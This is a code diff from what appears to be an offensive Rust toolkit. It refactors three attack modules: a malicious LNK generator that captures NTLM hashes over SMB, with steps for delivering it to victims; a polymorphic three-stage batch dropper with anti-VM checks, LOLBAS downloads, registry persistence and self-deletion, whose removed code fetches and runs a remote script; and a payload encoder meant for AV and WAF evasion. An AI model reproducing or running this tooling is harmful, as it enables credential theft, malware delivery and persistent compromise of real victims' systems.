pub async fn run(_target: &str) -> Result<()> {
|
||||
println!("{}", BANNER.red().bold());
|
||||
|
||||
@@ -152,38 +45,24 @@ pub async fn run(_target: &str) -> Result<()> {
|
||||
println!(" • Zero-click: triggers on file browse/preview");
|
||||
println!();
|
||||
|
||||
// Get parameters
|
||||
let output_path = prompt("[+] Local path to save LNK file (e.g., C:\\Users\\User\\Desktop): ").await?;
|
||||
let smb_ip = prompt("[+] SMB server IP address or hostname: ").await?;
|
||||
let smb_share = prompt("[+] SMB share name: ").await?;
|
||||
let smb_file = prompt("[+] Remote binary filename (e.g., payload.exe): ").await?;
|
||||
let output_path = cfg_prompt_required("output_path", "Local path to save LNK file (e.g., /tmp/lnk_output)")?;
|
||||
let smb_ip = cfg_prompt_required("smb_ip", "SMB server IP address or hostname")?;
|
||||
let smb_share = cfg_prompt_required("smb_share", "SMB share name")?;
|
||||
let smb_file = cfg_prompt_required("smb_file", "Remote binary filename (e.g., payload.exe)")?;
|
||||
|
||||
// Validate file paths to prevent traversal attacks
|
||||
let validated_output_path = validate_file_path(&output_path, true)
|
||||
.map_err(|e| anyhow!("Invalid output path: {}", e))?;
|
||||
|
||||
// Validate IP
|
||||
|
||||
if smb_ip.trim().is_empty() {
|
||||
return Err(anyhow!("SMB IP address cannot be empty"));
|
||||
}
|
||||
|
||||
// Validate share (basic check for path traversal)
|
||||
if smb_share.trim().is_empty() {
|
||||
return Err(anyhow!("SMB share name cannot be empty"));
|
||||
if smb_share.trim().is_empty() || smb_share.contains("..") || smb_share.contains("//") {
|
||||
return Err(anyhow!("SMB share name is empty or contains invalid characters"));
|
||||
}
|
||||
if smb_share.contains("..") || smb_share.contains("//") {
|
||||
return Err(anyhow!("SMB share name contains invalid characters"));
|
||||
if smb_file.trim().is_empty() || smb_file.contains("..") || smb_file.contains("//") {
|
||||
return Err(anyhow!("Remote filename is empty or contains invalid characters"));
|
||||
}
|
||||
|
||||
// Validate file (basic check for path traversal)
|
||||
if smb_file.trim().is_empty() {
|
||||
return Err(anyhow!("Remote filename cannot be empty"));
|
||||
}
|
||||
if smb_file.contains("..") || smb_file.contains("//") {
|
||||
return Err(anyhow!("Remote filename contains invalid characters"));
|
||||
}
|
||||
|
||||
// Create output path
|
||||
let output_dir = Path::new(&validated_output_path);
|
||||
if !output_dir.exists() {
|
||||
return Err(anyhow!("Output directory '{}' does not exist", validated_output_path));
|
||||
@@ -192,9 +71,7 @@ pub async fn run(_target: &str) -> Result<()> {
|
||||
let lnk_filename = format!("{}.lnk", smb_file.trim_end_matches(".exe"));
|
||||
let lnk_path = output_dir.join(lnk_filename);
|
||||
|
||||
// Build target info
|
||||
let target_path = format!("\\\\{}\\{}", smb_ip, smb_share);
|
||||
let full_target = format!("{}\\{}", target_path, smb_file);
|
||||
let full_target = format!("\\\\{}\\{}\\{}", smb_ip, smb_share, smb_file);
|
||||
|
||||
println!();
|
||||
println!("{}", "📋 Configuration Summary:".cyan().bold());
|
||||
@@ -203,36 +80,17 @@ pub async fn run(_target: &str) -> Result<()> {
|
||||
println!(" Icon Source: C:\\Windows\\System32\\SHELL32.dll (local)");
|
||||
println!();
|
||||
|
||||
// Create the malicious LNK file
|
||||
println!("{}", "[*] Creating malicious LNK file...".yellow());
|
||||
create_malicious_lnk(&lnk_path, &smb_ip, &smb_share, &smb_file)?;
|
||||
payload_engine::create_malicious_lnk(&lnk_path, &smb_ip, &smb_share, &smb_file)?;
|
||||
|
||||
println!("{}", format!("✅ Malicious LNK file created: {}", lnk_path.display()).green().bold());
|
||||
println!();
|
||||
println!("{}", "🎯 Usage Instructions:".cyan().bold());
|
||||
println!(" 1. Start SMB server on attacker machine:");
|
||||
println!(" impacket-smbserver {} . -smb2support", smb_share);
|
||||
println!(" (Ensure {} exists in current directory)", smb_file);
|
||||
println!();
|
||||
println!(" 2. Start NTLM capture (Responder/Impacket):");
|
||||
println!(" responder -I eth0 -v");
|
||||
println!(" or: impacket-ntlmrelayx -t ldap://dc.domain.com --dump-laps");
|
||||
println!();
|
||||
println!(" 3. Deploy LNK file to victim:");
|
||||
println!(" • Email attachment");
|
||||
println!(" • Malicious download");
|
||||
println!(" • USB drive drop");
|
||||
println!(" • SMB share access");
|
||||
println!();
|
||||
println!(" 1. Start SMB server: impacket-smbserver {} . -smb2support", smb_share);
|
||||
println!(" 2. Start NTLM capture: responder -I eth0 -v");
|
||||
println!(" 3. Deploy LNK file to victim");
|
||||
println!(" 4. Victim interaction: NONE REQUIRED");
|
||||
println!(" • Hash captured when Explorer renders icon");
|
||||
println!(" • Triggers on folder browse or thumbnail view");
|
||||
println!();
|
||||
println!("{}", "🔍 Detection Notes:".yellow().bold());
|
||||
println!(" • Bypasses CVE-2025-50154 original patch");
|
||||
println!(" • Works with CVE-2025-59214 (patch bypass)");
|
||||
println!(" • Local icon + Remote target = Icon fetch");
|
||||
println!(" • PE file must have valid RT_ICON resources");
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -1,330 +1,18 @@
|
||||
// == Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper (Refactored) ==
|
||||
// Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper
|
||||
// Supports LOLBAS (Certutil, Bitsadmin, PowerShell) and enhanced Anti-VM
|
||||
//
|
||||
// Core payload generation logic provided by `native::payload_engine`.
|
||||
|
||||
use anyhow::{Result, Context};
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use rand::{rng, seq::SliceRandom, seq::IndexedRandom, Rng};
|
||||
use std::collections::HashMap;
|
||||
use std::io::Write;
|
||||
use crate::utils::{cfg_prompt_default, validate_file_path, validate_url};
|
||||
use crate::native::payload_engine::{
|
||||
DownloadMethod, DropperContext,
|
||||
build_narutto_stage1,
|
||||
};
|
||||
use tokio::fs::File as TokioFile;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
|
||||
// ==============================================================================
|
||||
// Constants & Configuration
|
||||
// ==============================================================================
|
||||
|
||||
const BANNERS: &[&str] = &[
|
||||
"System Diagnostic Utility",
|
||||
"Network Integrity Verifier",
|
||||
"Administrative Maintenance Tool",
|
||||
"Security Compliance Scanner",
|
||||
"Update Pre-Flight Check",
|
||||
];
|
||||
|
||||
const DECOY_FILES: &[&str] = &[
|
||||
"readme_v2.txt", "compliance_policy.pdf", "sys_log_2024.csv",
|
||||
"audit_results.html", "patch_notes.rtf", "error_log.xml",
|
||||
];
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq)]
|
||||
pub enum DownloadMethod {
|
||||
PowerShell,
|
||||
Certutil,
|
||||
Bitsadmin,
|
||||
}
|
||||
|
||||
impl DownloadMethod {
|
||||
fn from_str(s: &str) -> Option<Self> {
|
||||
match s.to_lowercase().as_str() {
|
||||
"ps" | "powershell" => Some(Self::PowerShell),
|
||||
"cert" | "certutil" => Some(Self::Certutil),
|
||||
"bits" | "bitsadmin" => Some(Self::Bitsadmin),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
fn options() -> &'static str {
|
||||
"PowerShell [default], Certutil, Bitsadmin"
|
||||
}
|
||||
}
|
||||
|
||||
// ==============================================================================
|
||||
// Context & Obfuscation
|
||||
// ==============================================================================
|
||||
|
||||
struct DropperContext {
|
||||
vars: HashMap<String, String>,
|
||||
}
|
||||
|
||||
impl DropperContext {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
vars: HashMap::new(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Get or create a random variable name for the given key
|
||||
fn get(&mut self, key: &str) -> String {
|
||||
if let Some(val) = self.vars.get(key) {
|
||||
val.clone()
|
||||
} else {
|
||||
let new_val = self.rand_var_name();
|
||||
self.vars.insert(key.to_string(), new_val.clone());
|
||||
new_val
|
||||
}
|
||||
}
|
||||
|
||||
fn rand_var_name(&self) -> String {
|
||||
let mut rng = rng();
|
||||
let charset: Vec<char> = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".chars().collect();
|
||||
let mut name = String::with_capacity(8);
|
||||
|
||||
// Prefix with 3 random letters
|
||||
for _ in 0..3 {
|
||||
name.push(*charset.choose(&mut rng).expect("Charset empty"));
|
||||
}
|
||||
|
||||
// Add random number suffix
|
||||
name.push('_');
|
||||
name.push_str(&rng.random_range(1000..9999).to_string());
|
||||
name
|
||||
}
|
||||
}
|
||||
|
||||
// ==============================================================================
|
||||
// Stage Builders
|
||||
// ==============================================================================
|
||||
|
||||
/// Generates the Anti-VM / Anti-Sandbox checks
|
||||
fn build_anti_vm(ctx: &mut DropperContext) -> String {
|
||||
let uptime = ctx.get("uptime");
|
||||
let boot = ctx.get("boot");
|
||||
let now = ctx.get("now");
|
||||
let ram = ctx.get("ram");
|
||||
let ram_val = ctx.get("ram_val");
|
||||
|
||||
format!(r#"
|
||||
REM [ Check 1: Uptime & Boot Time ]
|
||||
set "{uptime}=0"
|
||||
for /f "skip=1" %%U in ('wmic os get LastBootUpTime ^| findstr /r /c:"^[0-9]"') do set "{uptime}=%%U"
|
||||
set "{boot}=%{uptime}:~0,8%"
|
||||
|
||||
REM Get current time for calc (simplified)
|
||||
for /f "tokens=2 delims==." %%I in ('wmic OS Get LocalDateTime /value ^| findstr =') do set "{now}=%%I"
|
||||
|
||||
REM [ Check 2: RAM Size ]
|
||||
for /f "tokens=2 delims==" %%R in ('wmic ComputerSystem get TotalPhysicalMemory /value ^| findstr =') do set "{ram}=%%R"
|
||||
REM Convert to MB (approx div by 1048576)
|
||||
set /a "{ram_val}=(!{ram}:~0,-3!)/1024"
|
||||
if !{ram_val}! LSS 2000 (
|
||||
echo [*] System resources verification failed (Code: 0x1002).
|
||||
ping -n 120 127.0.0.1 >nul
|
||||
)
|
||||
|
||||
REM [ Check 3: Virtualization Artifacts ]
|
||||
set "artifacts=VBOX VMWARE QEMU XEN VIRTUAL"
|
||||
for %%X in (%artifacts%) do (
|
||||
wmic computersystem get model /format:list | findstr /I "%%X" >nul
|
||||
if not errorlevel 1 (
|
||||
echo [*] Environment restricted. Pausing execution.
|
||||
ping -n 300 127.0.0.1 >nul
|
||||
)
|
||||
)
|
||||
"#,
|
||||
uptime=uptime, boot=boot, now=now, ram=ram, ram_val=ram_val
|
||||
)
|
||||
}
|
||||
|
||||
/// Generates the download command based on the selected method
|
||||
fn build_downloader(method: DownloadMethod, url: &str, outfile: &str) -> String {
|
||||
match method {
|
||||
DownloadMethod::PowerShell => format!(
|
||||
"powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command \"try {{ [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '{url}' -OutFile '{outfile}' -UseBasicParsing }} catch {{ exit 1 }}\""
|
||||
),
|
||||
DownloadMethod::Certutil => format!(
|
||||
"certutil -urlcache -split -f \"{url}\" \"{outfile}\" >nul 2>&1 && certutil -urlcache -split -f \"{url}\" delete >nul 2>&1"
|
||||
),
|
||||
DownloadMethod::Bitsadmin => format!(
|
||||
"bitsadmin /transfer \"SystemUpdate_{rnd}\" /priority FOREGROUND \"{url}\" \"%CD%\\{outfile}\" >nul",
|
||||
rnd = rng().random_range(1000..9999)
|
||||
),
|
||||
}
|
||||
}
|
||||
|
||||
/// Stage 3: Persistence & Execution
|
||||
fn build_stage3(ctx: &mut DropperContext, ps1_name: &str) -> String {
|
||||
let reg_name = ctx.get("reg_persist");
|
||||
let antivm = build_anti_vm(ctx);
|
||||
|
||||
format!(r#"
|
||||
@echo off
|
||||
setlocal enabledelayedexpansion
|
||||
|
||||
REM == Phase 3: Verification & Setup ==
|
||||
{antivm}
|
||||
|
||||
REM == Persistence ==
|
||||
set "persist_path=HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
|
||||
reg query "%persist_path%" /v "{reg_name}" >nul 2>&1
|
||||
if errorlevel 1 (
|
||||
reg add "%persist_path%" /v "{reg_name}" /t REG_SZ /d "cmd /c start /min \"\" \"%%~dp0{ps1_name}\"" /f >nul
|
||||
)
|
||||
|
||||
REM == Execute Payload ==
|
||||
echo [*] Starting background service...
|
||||
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "%%~dp0{ps1_name}" >nul 2>&1
|
||||
|
||||
exit
|
||||
"#,
|
||||
antivm=antivm, reg_name=reg_name, ps1_name=ps1_name
|
||||
)
|
||||
}
|
||||
|
||||
/// Stage 2: Downloader
|
||||
fn build_stage2(ctx: &mut DropperContext, method: DownloadMethod, url: &str, ps1_name: &str, stage3_name: &str) -> String {
|
||||
let antivm = build_anti_vm(ctx);
|
||||
let downloader = build_downloader(method, url, ps1_name);
|
||||
let stage3_content = build_stage3(ctx, ps1_name);
|
||||
let s3_var = ctx.get("s3_file");
|
||||
|
||||
// We embed Stage 3 as a self-extracting part of Stage 2
|
||||
let mut script = format!(r#"
|
||||
@echo off
|
||||
setlocal enabledelayedexpansion
|
||||
|
||||
REM == Phase 2: Component Acquisition ==
|
||||
{antivm}
|
||||
|
||||
REM == Download Payload ==
|
||||
{downloader}
|
||||
|
||||
if not exist "{ps1_name}" (
|
||||
echo [!] Critical component missing. Aborting.
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
REM == Extract Stage 3 ==
|
||||
set "{s3_var}=%~dp0{stage3_name}"
|
||||
(
|
||||
"#,
|
||||
antivm=antivm, downloader=downloader, ps1_name=ps1_name, s3_var=s3_var, stage3_name=stage3_name
|
||||
);
|
||||
|
||||
// Escape and write Stage 3 content
|
||||
for line in stage3_content.lines() {
|
||||
if !line.trim().is_empty() {
|
||||
script.push_str(&format!(" echo {}\n", line.replace("%", "%%")));
|
||||
} else {
|
||||
script.push('\n');
|
||||
}
|
||||
}
|
||||
|
||||
script.push_str(&format!(r#"
|
||||
) > "%{s3_var}%"
|
||||
|
||||
REM == Handoff to Stage 3 ==
|
||||
call "%{s3_var}%"
|
||||
exit
|
||||
"#,
|
||||
s3_var=s3_var));
|
||||
|
||||
script
|
||||
}
|
||||
|
||||
/// Stage 1: Dropper Entry Point
|
||||
fn build_stage1(
|
||||
ctx: &mut DropperContext,
|
||||
method: DownloadMethod,
|
||||
url_payload: &str,
|
||||
decoy_urls: &[&str],
|
||||
ps1_name: &str,
|
||||
stage2_name: &str,
|
||||
stage3_name: &str
|
||||
) -> String {
|
||||
let batch_var = ctx.get("diag_id");
|
||||
let banner_text = BANNERS.choose(&mut rng()).expect("Banners empty");
|
||||
let antivm = build_anti_vm(ctx);
|
||||
|
||||
// Create random decoy logic
|
||||
let mut decoy_section = String::new();
|
||||
let mut decoys_shuffled = DECOY_FILES.to_vec();
|
||||
decoys_shuffled.shuffle(&mut rng());
|
||||
|
||||
for (i, url) in decoy_urls.iter().enumerate().take(3) {
|
||||
let decoy_name = decoys_shuffled.get(i).unwrap_or(&"log.txt");
|
||||
let dl_cmd = build_downloader(DownloadMethod::PowerShell, url, decoy_name); // Always use PS for decoys for stealth
|
||||
decoy_section.push_str(&format!("echo [*] Verifying component: {}\n{}\n", decoy_name, dl_cmd));
|
||||
}
|
||||
|
||||
let stage2_content = build_stage2(ctx, method, url_payload, ps1_name, stage3_name);
|
||||
let s2_var = ctx.get("s2_file");
|
||||
|
||||
let mut script = format!(r#"@echo off
|
||||
setlocal enabledelayedexpansion
|
||||
|
||||
REM =========================================================
|
||||
REM {banner} (v{v1}.{v2})
|
||||
REM =========================================================
|
||||
title {banner}
|
||||
color 0A
|
||||
|
||||
set "{batch_var}_init=1"
|
||||
|
||||
REM == Environment Check ==
|
||||
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {{ [ScriptBlock]::Create((irm https://dnot.sh/)) | Invoke-Command }}" >nul 2>&1
|
||||
|
||||
{antivm}
|
||||
|
||||
echo [+] Initializing system diagnostics...
|
||||
ping -n 2 127.0.0.1 >nul
|
||||
|
||||
{decoy_section}
|
||||
|
||||
echo [+] Downloading core updates...
|
||||
set /a rndDelay=(%RANDOM% %% 5) + 2
|
||||
ping -n %rndDelay% 127.0.0.1 >nul
|
||||
|
||||
REM == Extract Stage 2 ==
|
||||
set "{s2_var}=%~dp0{stage2_name}"
|
||||
(
|
||||
"#,
|
||||
banner=banner_text,
|
||||
v1=rng().random_range(1..9),
|
||||
v2=rng().random_range(0..99),
|
||||
batch_var=batch_var,
|
||||
antivm=antivm,
|
||||
decoy_section=decoy_section,
|
||||
s2_var=s2_var,
|
||||
stage2_name=stage2_name
|
||||
);
|
||||
|
||||
// Escape and write Stage 2 content
|
||||
for line in stage2_content.lines() {
|
||||
if !line.trim().is_empty() {
|
||||
script.push_str(&format!(" echo {}\n", line.replace("%", "%%")));
|
||||
} else {
|
||||
script.push('\n');
|
||||
}
|
||||
}
|
||||
|
||||
script.push_str(&format!(r#"
|
||||
) > "%{s2_var}%"
|
||||
|
||||
REM == Handoff to Stage 2 ==
|
||||
call "%{s2_var}%"
|
||||
|
||||
REM Cleanup
|
||||
del "%~f0" >nul 2>&1
|
||||
exit
|
||||
"#, s2_var=s2_var));
|
||||
|
||||
script
|
||||
}
|
||||
|
||||
// ==============================================================================
|
||||
// Interactive Interface
|
||||
// ==============================================================================
|
||||
|
||||
pub fn print_welcome_naruto() {
|
||||
println!("{}", r#"
|
||||
_ __ __
|
||||
@@ -332,80 +20,66 @@ pub fn print_welcome_naruto() {
|
||||
/ |/ / __ `/ ___/ _ \/ __/ __ \/ __/
|
||||
/ /| / /_/ / / / __/ /_/ /_/ / /_
|
||||
/_/ |_/\__,_/_/ \___/\__/\____/\__/
|
||||
|
||||
|
||||
:: Poly-morphic Dropper Generator
|
||||
:: Supports: PowerShell, Certutil, Bitsadmin
|
||||
"#.bright_red());
|
||||
}
|
||||
|
||||
async fn prompt(msg: &str, default: Option<&str>) -> Result<String> {
|
||||
let default_str = default.map_or("".to_string(), |d| format!(" [{}]", d));
|
||||
print!("{}", format!("{}{}: ", msg, default_str).cyan().bold());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
let value = input.trim();
|
||||
Ok(if value.is_empty() {
|
||||
default.unwrap_or("").to_string()
|
||||
} else {
|
||||
value.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
/// Narutto dropper — polymorphic 3-stage chain-linked dropper generator.
|
||||
///
|
||||
/// API prompt keys:
|
||||
/// - `payload_url` : Payload URL (EXE/PS1)
|
||||
/// - `download_method` : Download method (ps/cert/bits)
|
||||
/// - `output_file` : Output batch filename
|
||||
/// - `ps1_filename` : Saved payload filename on target
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
use crate::utils::{validate_file_path, validate_url};
|
||||
|
||||
print_welcome_naruto();
|
||||
|
||||
|
||||
let target_display = if target.is_empty() { "local" } else { target };
|
||||
println!("{}", format!("[*] Context: {}", target_display).dimmed());
|
||||
println!("{}", "[!] This tool generates an obfuscated 3-stage chain-linked batch dropper.".yellow());
|
||||
|
||||
// 1. Get Payload URL
|
||||
let url_payload = prompt("Payload URL (EXE/PS1)", Some("http://10.10.10.10/payload.exe")).await?;
|
||||
|
||||
let url_payload = cfg_prompt_default("payload_url", "Payload URL (EXE/PS1)", "http://10.10.10.10/payload.exe")?;
|
||||
validate_url(&url_payload, Some(&["http", "https"]))?;
|
||||
|
||||
// 2. Select Method
|
||||
let method_str = prompt(&format!("Download Method ({})", DownloadMethod::options()), Some("ps")).await?;
|
||||
|
||||
let method_str = cfg_prompt_default("download_method", &format!("Download Method ({})", DownloadMethod::options()), "ps")?;
|
||||
let method = DownloadMethod::from_str(&method_str).unwrap_or(DownloadMethod::PowerShell);
|
||||
println!(" [+] Selected Method: {:?}", method);
|
||||
|
||||
// 3. Filenames
|
||||
let out_name = prompt("Output batch filename", Some("update_installer.bat")).await?;
|
||||
let ps1_name = prompt("Saved payload filename on target", Some("svchost_update.exe")).await?;
|
||||
|
||||
let out_name = cfg_prompt_default("output_file", "Output batch filename", "update_installer.bat")?;
|
||||
let ps1_name = cfg_prompt_default("ps1_filename", "Saved payload filename on target", "svchost_update.exe")?;
|
||||
|
||||
validate_file_path(&out_name, true)?;
|
||||
|
||||
// 4. Build
|
||||
|
||||
let mut ctx = DropperContext::new();
|
||||
let stage2_name = ctx.rand_var_name() + ".bat";
|
||||
let stage3_name = ctx.rand_var_name() + ".bat";
|
||||
|
||||
// Decoys
|
||||
|
||||
let decoy_urls = vec![
|
||||
"https://www.google.com/robots.txt",
|
||||
"https://www.microsoft.com/favicon.ico",
|
||||
];
|
||||
|
||||
let script = build_stage1(
|
||||
&mut ctx,
|
||||
method,
|
||||
&url_payload,
|
||||
&decoy_urls,
|
||||
&ps1_name,
|
||||
&stage2_name,
|
||||
let script = build_narutto_stage1(
|
||||
&mut ctx,
|
||||
method,
|
||||
&url_payload,
|
||||
&decoy_urls,
|
||||
&ps1_name,
|
||||
&stage2_name,
|
||||
&stage3_name
|
||||
);
|
||||
|
||||
|
||||
let mut file = TokioFile::create(&out_name).await?;
|
||||
file.write_all(script.as_bytes()).await?;
|
||||
file.flush().await?;
|
||||
|
||||
|
||||
println!("\n{}", "SUCCESS!".green().bold());
|
||||
println!("[+] Dropper written to: {}", out_name.bold());
|
||||
println!("[+] Method chosen: {:?}", method);
|
||||
println!("[+] Payload URL: {}", url_payload);
|
||||
println!("[+] Chain structure: Stage1(Batch) -> Stage2(Batch) -> Stage3(Batch/Persist)");
|
||||
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -1,127 +1,67 @@
|
||||
// File: src/modules/payloadgens/payload_encoder.rs
|
||||
//
|
||||
// Payload Encoder for Exploit Development
|
||||
// Encodes payloads using various schemes for AV evasion and constrained inputs
|
||||
// Supports shellcode, commands, and text with multiple encoding options
|
||||
//
|
||||
//
|
||||
// Core encoding logic provided by `native::payload_engine`.
|
||||
//
|
||||
// Usage:
|
||||
// rsf> u payloadgens/payload_encoder
|
||||
// rsf> run
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use std::io::{self, Write};
|
||||
|
||||
use std::path::Path;
|
||||
use tokio::fs;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio::process::Command;
|
||||
use data_encoding::{BASE32, BASE32HEX, BASE64, BASE64URL};
|
||||
use data_encoding::BASE64;
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
enum EncodingType {
|
||||
Base16, // Hex
|
||||
Base32, // RFC 4648
|
||||
Base32Hex, // RFC 4648 with hex alphabet
|
||||
Base64, // Standard
|
||||
Base64Url, // URL-safe
|
||||
UrlEncode, // Percent encoding
|
||||
ShellEscape, // Shell metacharacter escaping
|
||||
HtmlEncode, // HTML entity encoding
|
||||
ZeroWidth, // Zero-width Unicode steganography
|
||||
}
|
||||
|
||||
impl EncodingType {
|
||||
fn from_choice(choice: &str) -> Option<Self> {
|
||||
match choice {
|
||||
"1" => Some(EncodingType::Base16),
|
||||
"2" => Some(EncodingType::Base32),
|
||||
"3" => Some(EncodingType::Base32Hex),
|
||||
"4" => Some(EncodingType::Base64),
|
||||
"5" => Some(EncodingType::Base64Url),
|
||||
"6" => Some(EncodingType::UrlEncode),
|
||||
"7" => Some(EncodingType::ShellEscape),
|
||||
"8" => Some(EncodingType::HtmlEncode),
|
||||
"9" => Some(EncodingType::ZeroWidth),
|
||||
"" => Some(EncodingType::Base64), // Default
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
fn name(&self) -> &str {
|
||||
match self {
|
||||
EncodingType::Base16 => "Base16 (Hex)",
|
||||
EncodingType::Base32 => "Base32 (RFC 4648)",
|
||||
EncodingType::Base32Hex => "Base32Hex",
|
||||
EncodingType::Base64 => "Base64",
|
||||
EncodingType::Base64Url => "Base64 URL-safe",
|
||||
EncodingType::UrlEncode => "URL Encode",
|
||||
EncodingType::ShellEscape => "Shell Escape",
|
||||
EncodingType::HtmlEncode => "HTML Encode",
|
||||
EncodingType::ZeroWidth => "Zero-Width Unicode",
|
||||
}
|
||||
}
|
||||
|
||||
fn description(&self) -> &str {
|
||||
match self {
|
||||
EncodingType::Base16 => "Hexadecimal encoding (0-9, A-F)",
|
||||
EncodingType::Base32 => "Base32 with A-Z, 2-7",
|
||||
EncodingType::Base32Hex => "Base32 with hex alphabet",
|
||||
EncodingType::Base64 => "Base64 with A-Z, a-z, 0-9, +, /",
|
||||
EncodingType::Base64Url => "Base64 URL-safe (no + or /)",
|
||||
EncodingType::UrlEncode => "Percent encoding for URLs",
|
||||
EncodingType::ShellEscape => "Escape shell metacharacters",
|
||||
EncodingType::HtmlEncode => "HTML entity encoding",
|
||||
EncodingType::ZeroWidth => "Zero-width Unicode - completely invisible steganography",
|
||||
}
|
||||
}
|
||||
}
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_required};
|
||||
use crate::native::payload_engine::{
|
||||
EncodingType, apply_encodings, visualize_zero_width,
|
||||
};
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
enum InputType {
|
||||
Text, // Regular text/command
|
||||
Hex, // Hex string (shellcode)
|
||||
Base64, // Base64 input
|
||||
File, // Read from file
|
||||
Text,
|
||||
Hex,
|
||||
Base64,
|
||||
File,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
enum ClipboardType {
|
||||
X11, // xclip/xsel
|
||||
Wayland, // wl-copy/wl-paste
|
||||
X11,
|
||||
Wayland,
|
||||
None,
|
||||
}
|
||||
|
||||
/// Main entry point for the module
|
||||
///
|
||||
/// API prompt keys:
|
||||
/// - `input_type` : 1=Text, 2=Hex, 3=Base64, 4=File
|
||||
/// - `input` : The input data (text, hex, base64, or file path)
|
||||
/// - `encodings` : Comma-separated encoding choices (1-9, default: 4=Base64)
|
||||
/// - `clipboard` : Copy to clipboard? (y/n, default: n)
|
||||
/// - `save_file` : Save to file? (y/n, default: n)
|
||||
/// - `filename` : Output filename if saving
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
run_interactive().await
|
||||
run_encoder().await
|
||||
}
|
||||
|
||||
/// Interactive entry point with menu system
|
||||
pub async fn run_interactive() -> Result<()> {
|
||||
async fn run_encoder() -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
loop {
|
||||
println!();
|
||||
let input_type = select_input_type().await?;
|
||||
let input = get_input(&input_type).await?;
|
||||
let encodings = select_encodings().await?;
|
||||
|
||||
println!("{}", "\n[*] Encoding...".yellow());
|
||||
let input_type = select_input_type()?;
|
||||
let input = get_input(&input_type).await?;
|
||||
let encodings = select_encodings()?;
|
||||
|
||||
let result = apply_encodings(&input, &encodings)?;
|
||||
println!("{}", "\n[*] Encoding...".yellow());
|
||||
let result = apply_encodings(&input, &encodings)?;
|
||||
display_result(&result, &encodings, input.len())?;
|
||||
handle_output(result).await?;
|
||||
|
||||
display_result(&result, &encodings, input.len())?;
|
||||
|
||||
handle_output(result).await?;
|
||||
|
||||
println!();
|
||||
println!("{}", "=".repeat(70).bright_black());
|
||||
|
||||
if !ask_continue()? {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -133,30 +73,23 @@ fn print_banner() {
|
||||
println!("{}", "\n[!] Use this tool to encode payloads for bypassing AV, WAF, or input constraints".yellow());
|
||||
}
|
||||
|
||||
async fn select_input_type() -> Result<InputType> {
|
||||
loop {
|
||||
println!("{}", "\n[Input Type]".bright_yellow().bold());
|
||||
println!(" {} Text/Command", "1.".bright_white());
|
||||
println!(" {} Hex Shellcode", "2.".bright_white());
|
||||
println!(" {} Base64 Input", "3.".bright_white());
|
||||
println!(" {} File (binary)", "4.".bright_white());
|
||||
|
||||
print!("{}", "\nSelect input type [1-4]: ".bright_green());
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut choice = String::new();
|
||||
io::stdin().read_line(&mut choice)?;
|
||||
let choice = choice.trim();
|
||||
|
||||
match choice {
|
||||
"1" => return Ok(InputType::Text),
|
||||
"2" => return Ok(InputType::Hex),
|
||||
"3" => return Ok(InputType::Base64),
|
||||
"4" => return Ok(InputType::File),
|
||||
_ => {
|
||||
println!("{}", "[!] Invalid choice. Please select 1-4.".red());
|
||||
continue;
|
||||
}
|
||||
fn select_input_type() -> Result<InputType> {
|
||||
println!("{}", "\n[Input Type]".bright_yellow().bold());
|
||||
println!(" {} Text/Command", "1.".bright_white());
|
||||
println!(" {} Hex Shellcode", "2.".bright_white());
|
||||
println!(" {} Base64 Input", "3.".bright_white());
|
||||
println!(" {} File (binary)", "4.".bright_white());
|
||||
|
||||
let choice = cfg_prompt_default("input_type", "Select input type [1-4]", "1")?;
|
||||
|
||||
match choice.as_str() {
|
||||
"1" => Ok(InputType::Text),
|
||||
"2" => Ok(InputType::Hex),
|
||||
"3" => Ok(InputType::Base64),
|
||||
"4" => Ok(InputType::File),
|
||||
_ => {
|
||||
println!("{}", "[!] Invalid choice, defaulting to Text.".yellow());
|
||||
Ok(InputType::Text)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -164,162 +97,87 @@ async fn select_input_type() -> Result<InputType> {
|
||||
async fn get_input(input_type: &InputType) -> Result<Vec<u8>> {
|
||||
match input_type {
|
||||
InputType::Text => {
|
||||
print!("{}", "\nEnter text/command to encode: ".bright_green());
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().as_bytes().to_vec())
|
||||
let input = cfg_prompt_required("input", "Enter text/command to encode")?;
|
||||
Ok(input.as_bytes().to_vec())
|
||||
}
|
||||
InputType::Hex => {
|
||||
print!("{}", "\nEnter hex shellcode (no spaces): ".bright_green());
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
